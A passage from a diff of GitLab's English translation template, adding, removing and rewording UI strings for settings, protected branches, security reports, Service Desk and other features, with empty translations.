+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
